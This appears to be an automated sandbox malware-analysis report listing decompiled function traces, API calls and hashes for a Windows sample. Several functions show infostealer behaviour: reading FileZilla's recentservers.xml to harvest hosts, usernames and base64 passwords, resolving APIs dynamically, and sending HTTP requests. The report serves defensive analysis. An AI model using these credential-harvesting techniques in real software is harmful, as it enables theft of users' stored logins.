Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction ID: f83a9dfad8d9090bd4b69b445eb29f9fdcf7b9edf99be21673d757649d1b517e
Opcode Fuzzy Hash: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction Fuzzy Hash: 3B9002753912104A471417755D496C52A905E9D6067624861B506C4054DB988044551A

Function 0041CEEA Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001CEA8), ref: 0041CEEF

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction ID: f83a9dfad8d9090bd4b69b445eb29f9fdcf7b9edf99be21673d757649d1b517e
Opcode Fuzzy Hash: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction Fuzzy Hash: 3B9002753912104A471417755D496C52A905E9D6067624861B506C4054DB988044551A

Function 024BF35C Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1880865468.00000000024BE000.00000040.00000020.00020000.00000000.sdmp, Offset: 024BE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24be000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: ad2f4b0b84fe09944a2ea641db871d63e6d5f6f29712e235fb4c15de118520d9
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 7D118272340100AFD744DF55DC90EE673EAEF89324B1A8056ED08CB715D7B9E842CB60

Function 040A0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 27bfe31bfb35ad12db8d1555e65b8e29a56a6146f1affa9217d62723929b1f3d
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 2E01DB776016088FDF21CFA4C804BAA33F5FB86315F4544B5E506E7241E774B941CB90

Function 040B99B7 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00419750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 040BD1D3 Relevance: 107.7, APIs: 86, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

free.MSVCRT ref: 040BD1E7
free.MSVCRT ref: 040BD1EF
free.MSVCRT ref: 040BD1F7
free.MSVCRT ref: 040BD1FF
free.MSVCRT ref: 040BD207
free.MSVCRT ref: 040BD20F
free.MSVCRT ref: 040BD216
free.MSVCRT ref: 040BD21E
free.MSVCRT ref: 040BD226
free.MSVCRT ref: 040BD22E
free.MSVCRT ref: 040BD236
free.MSVCRT ref: 040BD23E
free.MSVCRT ref: 040BD246
free.MSVCRT ref: 040BD24E
free.MSVCRT ref: 040BD256
free.MSVCRT ref: 040BD25E
free.MSVCRT ref: 040BD269
free.MSVCRT ref: 040BD271
free.MSVCRT ref: 040BD279
free.MSVCRT ref: 040BD281
free.MSVCRT ref: 040BD289
free.MSVCRT ref: 040BD291
free.MSVCRT ref: 040BD299
free.MSVCRT ref: 040BD2A1
free.MSVCRT ref: 040BD2A9
free.MSVCRT ref: 040BD2B1
free.MSVCRT ref: 040BD2B9
free.MSVCRT ref: 040BD2C1
free.MSVCRT ref: 040BD2C9
free.MSVCRT ref: 040BD2D1
free.MSVCRT ref: 040BD2D9
free.MSVCRT ref: 040BD2E1
free.MSVCRT ref: 040BD2EF
free.MSVCRT ref: 040BD2FA
free.MSVCRT ref: 040BD305
free.MSVCRT ref: 040BD310
free.MSVCRT ref: 040BD31B
free.MSVCRT ref: 040BD326
free.MSVCRT ref: 040BD331
free.MSVCRT ref: 040BD33C
free.MSVCRT ref: 040BD347
free.MSVCRT ref: 040BD352
free.MSVCRT ref: 040BD35D
free.MSVCRT ref: 040BD368
free.MSVCRT ref: 040BD373
free.MSVCRT ref: 040BD37E
free.MSVCRT ref: 040BD389
free.MSVCRT ref: 040BD394
free.MSVCRT ref: 040BD3A2
free.MSVCRT ref: 040BD3AD
free.MSVCRT ref: 040BD3B8
free.MSVCRT ref: 040BD3C3
free.MSVCRT ref: 040BD3CE
free.MSVCRT ref: 040BD3D9
free.MSVCRT ref: 040BD3E4
free.MSVCRT ref: 040BD3EF
free.MSVCRT ref: 040BD3FA
free.MSVCRT ref: 040BD405
free.MSVCRT ref: 040BD410
free.MSVCRT ref: 040BD41B
free.MSVCRT ref: 040BD426
free.MSVCRT ref: 040BD431
free.MSVCRT ref: 040BD43C
free.MSVCRT ref: 040BD447
free.MSVCRT ref: 040BD455
free.MSVCRT ref: 040BD460
free.MSVCRT ref: 040BD46B
free.MSVCRT ref: 040BD476
free.MSVCRT ref: 040BD481
free.MSVCRT ref: 040BD48C
free.MSVCRT ref: 040BD497
free.MSVCRT ref: 040BD4A2
free.MSVCRT ref: 040BD4AD
free.MSVCRT ref: 040BD4B8
free.MSVCRT ref: 040BD4C3
free.MSVCRT ref: 040BD4CE
free.MSVCRT ref: 040BD4D9
free.MSVCRT ref: 040BD4E4
free.MSVCRT ref: 040BD4EF
free.MSVCRT ref: 040BD4FA
free.MSVCRT ref: 040BD508
free.MSVCRT ref: 040BD513
free.MSVCRT ref: 040BD51E
free.MSVCRT ref: 040BD529
free.MSVCRT ref: 040BD534
free.MSVCRT ref: 040BD53F

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4243eb4f7a4797f88c21eec07c423483bd74b8336bdd1fff1b24957b34ad7449
Instruction ID: a0af666c7ba9f6ee54153b0f7328413c8dbc2d987e7bea5e274101a809a74797
Opcode Fuzzy Hash: 4243eb4f7a4797f88c21eec07c423483bd74b8336bdd1fff1b24957b34ad7449
Instruction Fuzzy Hash: 1771C131551A40DBF7623B31DD01ECA7AA27F0870EF104924A1DB39670DEB278659ED9

Function 00410250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

strtok_s.MSVCRT ref: 0041031B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 00410362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00410385
lstrlenA.KERNEL32(00000000), ref: 00410393

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

StrStrA.SHLWAPI(00000000,<Port>), ref: 004103CF
lstrlenA.KERNEL32(00000000), ref: 004103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00410419
lstrlenA.KERNEL32(00000000), ref: 00410427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00410463
lstrlenA.KERNEL32(00000000), ref: 00410475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 00410562
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 00410571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 00410580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410593
lstrcatA.KERNEL32(?,00421678,?,?,00000000), ref: 004105A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105B5
lstrcatA.KERNEL32(?,0042167C,?,?,00000000), ref: 004105C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 004105D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105E6
lstrcatA.KERNEL32(?,00421688,?,?,00000000), ref: 004105F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410617
lstrcatA.KERNEL32(?,00421698,?,?,00000000), ref: 00410626
lstrcatA.KERNEL32(?,0042169C,?,?,00000000), ref: 00410635
strtok_s.MSVCRT ref: 00410679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041068E
memset.MSVCRT ref: 004106DD

Strings

profile: null, xrefs: 00410568
browser: FileZilla, xrefs: 00410559
NA, xrefs: 0041072E, 004106AF, 004106B2
<Host>, xrefs: 0041037C
login: , xrefs: 004105CA
<Pass encoding="base64">, xrefs: 0041045A
<Port>, xrefs: 004103C6
<User>, xrefs: 00410410
url: , xrefs: 00410577
NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5
password: , xrefs: 004105FB
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-514892060
Opcode ID: 3bc2c577a6fe1a4c48c4c66cd480b769372ba09bd9cd762d3494ee533b5cfef0
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: 3bc2c577a6fe1a4c48c4c66cd480b769372ba09bd9cd762d3494ee533b5cfef0
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 040A4827 Relevance: 51.1, APIs: 34, Instructions: 114stringmemoryCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00424D98), ref: 040A4833
lstrlen.KERNEL32(00424E48), ref: 040A483E
lstrlen.KERNEL32(00424F10), ref: 040A4849
lstrlen.KERNEL32(00424FC8), ref: 040A4854
lstrlen.KERNEL32(00425070), ref: 040A485F
GetProcessHeap.KERNEL32(00000000,?), ref: 040A486E
RtlAllocateHeap.NTDLL(00000000), ref: 040A4875
lstrlen.KERNEL32(00425118), ref: 040A4883
lstrlen.KERNEL32(004251C0), ref: 040A488E
lstrlen.KERNEL32(00425268), ref: 040A4899
lstrlen.KERNEL32(00425310), ref: 040A48A4
lstrlen.KERNEL32(004253B8), ref: 040A48AF
lstrlen.KERNEL32(00425460), ref: 040A48C3
lstrlen.KERNEL32(00425508), ref: 040A48CE
lstrlen.KERNEL32(004255B0), ref: 040A48D9
lstrlen.KERNEL32(00425658), ref: 040A48E4
lstrlen.KERNEL32(00425700), ref: 040A48EF
lstrlen.KERNEL32(004257A8), ref: 040A4918
lstrlen.KERNEL32(00425850), ref: 040A4923
lstrlen.KERNEL32(00425918), ref: 040A492E
lstrlen.KERNEL32(004259C0), ref: 040A4939
lstrlen.KERNEL32(00425A68), ref: 040A4944
strlen.MSVCRT ref: 040A4957
lstrlen.KERNEL32(00425B10), ref: 040A497F
lstrlen.KERNEL32(00425BB8), ref: 040A498A
lstrlen.KERNEL32(00425C60), ref: 040A4995
lstrlen.KERNEL32(00425D08), ref: 040A49A0
lstrlen.KERNEL32(00425DB0), ref: 040A49AB
lstrlen.KERNEL32(00425E58), ref: 040A49BB
lstrlen.KERNEL32(00425F00), ref: 040A49C6
lstrlen.KERNEL32(00425FA8), ref: 040A49D1
lstrlen.KERNEL32(00426050), ref: 040A49DC
lstrlen.KERNEL32(004260F8), ref: 040A49E7
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 040A4A03

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID:
API String ID: 2127927946-0
Opcode ID: 94e7660d446ef400bbca7e6a05bf8504b75a8e0329621672810e0e1d9e7bb62d
Instruction ID: 06640b4fed8a9159e7fdea7ac742daa2456a921f9b85c55ca80d715710cc3994
Opcode Fuzzy Hash: 94e7660d446ef400bbca7e6a05bf8504b75a8e0329621672810e0e1d9e7bb62d
Instruction Fuzzy Hash: 7341A979740624EBC718AFE5EC89B9C7F71AB4C712BA0C062F9029A190C7F5D5119B3E

Function 040B9AC7 Relevance: 49.7, APIs: 33, Instructions: 212libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(0064A8B0,0064A204), ref: 040B9B08
GetProcAddress.KERNEL32(0064A8B0,0064A5C8), ref: 040B9B21
GetProcAddress.KERNEL32(0064A8B0,0064A644), ref: 040B9B39
GetProcAddress.KERNEL32(0064A8B0,0064A264), ref: 040B9B51
GetProcAddress.KERNEL32(0064A8B0,0064A250), ref: 040B9B6A
GetProcAddress.KERNEL32(0064A8B0,0064A2F8), ref: 040B9B82
GetProcAddress.KERNEL32(0064A8B0,0064A4D4), ref: 040B9B9A
GetProcAddress.KERNEL32(0064A8B0,0064A33C), ref: 040B9BB3
GetProcAddress.KERNEL32(0064A8B0,0064A5A0), ref: 040B9BCB
GetProcAddress.KERNEL32(0064A8B0,0064A548), ref: 040B9BE3
GetProcAddress.KERNEL32(0064A8B0,0064A3BC), ref: 040B9BFC
GetProcAddress.KERNEL32(0064A8B0,0064A2E8), ref: 040B9C14
GetProcAddress.KERNEL32(0064A8B0,0064A60C), ref: 040B9C2C
GetProcAddress.KERNEL32(0064A8B0,0064A0B0), ref: 040B9C45
GetProcAddress.KERNEL32(0064A8B0,0064A598), ref: 040B9C5D
GetProcAddress.KERNEL32(0064A8B0,0064A224), ref: 040B9C75
GetProcAddress.KERNEL32(0064A8B0,0064A418), ref: 040B9C8E
GetProcAddress.KERNEL32(0064A8B0,0064A634), ref: 040B9CA6
GetProcAddress.KERNEL32(0064A8B0,0064A0BC), ref: 040B9CBE
GetProcAddress.KERNEL32(0064A8B0,0064A12C), ref: 040B9CD7
GetProcAddress.KERNEL32(0064A8B0,0064A2B0), ref: 040B9CEF
LoadLibraryA.KERNEL32(0064A550,?,040B6C67), ref: 040B9D01
LoadLibraryA.KERNEL32(0064A17C,?,040B6C67), ref: 040B9D12
LoadLibraryA.KERNEL32(0064A104,?,040B6C67), ref: 040B9D24
LoadLibraryA.KERNEL32(0064A1DC,?,040B6C67), ref: 040B9D36
LoadLibraryA.KERNEL32(0064A328,?,040B6C67), ref: 040B9D47
GetProcAddress.KERNEL32(0064A6D4,0064A4AC), ref: 040B9D69
GetProcAddress.KERNEL32(0064A7F4,0064A424), ref: 040B9D8A
GetProcAddress.KERNEL32(0064A7F4,0064A1CC), ref: 040B9DA2
GetProcAddress.KERNEL32(0064A8E4,0064A394), ref: 040B9DC4
GetProcAddress.KERNEL32(0064A7A8,0064A128), ref: 040B9DE5
GetProcAddress.KERNEL32(0064A7D8,0064A414), ref: 040B9E06
GetProcAddress.KERNEL32(0064A7D8,00420724), ref: 040B9E1D

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 2b4f4bd6c742fb540b822c6df12fc111507254a72e416dad9698c5328f43ab40
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 66A13DBD5C0240BFE364EFE8ED889A63BFBF74E301714661AE605C3264D639A441DB52

Function 040B04B7 Relevance: 48.4, APIs: 32, Instructions: 363stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040B9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 040B9072

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAA07: lstrcpy.KERNEL32(?,00000000), ref: 040BAA4D

Part of subcall function 040A9C27: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 040A9C53
Part of subcall function 040A9C27: GetFileSizeEx.KERNEL32(000000FF,?), ref: 040A9C78
Part of subcall function 040A9C27: LocalAlloc.KERNEL32(00000040,?), ref: 040A9C98
Part of subcall function 040A9C27: ReadFile.KERNEL32(000000FF,?,00000000,040A16F6,00000000), ref: 040A9CC1
Part of subcall function 040A9C27: LocalFree.KERNEL32(040A16F6), ref: 040A9CF7
Part of subcall function 040A9C27: CloseHandle.KERNEL32(000000FF), ref: 040A9D01

Part of subcall function 040B9097: LocalAlloc.KERNEL32(00000040,-00000001), ref: 040B90B9

strtok_s.MSVCRT ref: 040B0582
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 040B05C9
RtlAllocateHeap.NTDLL(00000000), ref: 040B05D0
StrStrA.SHLWAPI(00000000,00421618), ref: 040B05EC
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 040B05FA

Part of subcall function 040B8B47: malloc.MSVCRT ref: 040B8B4F
Part of subcall function 040B8B47: strncpy.MSVCRT ref: 040B8B6A

StrStrA.SHLWAPI(00000000,00421620), ref: 040B0636
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 040B0644
StrStrA.SHLWAPI(00000000,00421628), ref: 040B0680
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 040B068E
StrStrA.SHLWAPI(00000000,00421630), ref: 040B06CA
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 040B06DC
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 040B0769
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 040B0781
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 040B0799
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 040B07B1
lstrcat.KERNEL32(?,0042164C), ref: 040B07C9
lstrcat.KERNEL32(?,00421660), ref: 040B07D8
lstrcat.KERNEL32(?,00421670), ref: 040B07E7
lstrcat.KERNEL32(?,00000000), ref: 040B07FA
lstrcat.KERNEL32(?,00421678), ref: 040B0809
lstrcat.KERNEL32(?,00000000), ref: 040B081C
lstrcat.KERNEL32(?,0042167C), ref: 040B082B
lstrcat.KERNEL32(?,00421680), ref: 040B083A
lstrcat.KERNEL32(?,00000000), ref: 040B084D
lstrcat.KERNEL32(?,00421688), ref: 040B085C
lstrcat.KERNEL32(?,0042168C), ref: 040B086B
lstrcat.KERNEL32(?,00000000), ref: 040B087E
lstrcat.KERNEL32(?,00421698), ref: 040B088D
lstrcat.KERNEL32(?,0042169C), ref: 040B089C
strtok_s.MSVCRT ref: 040B08E0
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 040B08F5
memset.MSVCRT ref: 040B0944

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeapstrtok_s$AllocateCloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID:
API String ID: 3689735781-0
Opcode ID: c4d654fd63af8b96c424d1b0ea7922b0682d9adc7819136a205fb9eb7b79f56e
Instruction ID: 4419b06d3f06bc5314e35d6d8ae95c27eeba36505f13c2558984a5383eb6ae0d
Opcode Fuzzy Hash: c4d654fd63af8b96c424d1b0ea7922b0682d9adc7819136a205fb9eb7b79f56e
Instruction Fuzzy Hash: 0CD15C75A40208ABDB04FBF4DD85EEEB779AF14308F544518E142B6094DF78BA05CFA9

Function 00405960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004059F8
StrCmpCA.SHLWAPI(?,024E9120), ref: 00405A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405B93
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,024ED4A0,00000000,?,024B9858,00000000,?,00421A1C), ref: 00405E71
lstrlenA.KERNEL32(00000000), ref: 00405E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00405E93
HeapAlloc.KERNEL32(00000000), ref: 00405E9A
lstrlenA.KERNEL32(00000000), ref: 00405EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
lstrlenA.KERNEL32(00000000), ref: 00405ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405EF1
memcpy.MSVCRT(?), ref: 00405EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F4C
InternetCloseHandle.WININET(00000000), ref: 00405FB0
InternetCloseHandle.WININET(00000000), ref: 00405FBD
HttpOpenRequestA.WININET(00000000,024ED4D0,?,024ECDB8,00000000,00000000,00400100,00000000), ref: 00405BF8

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
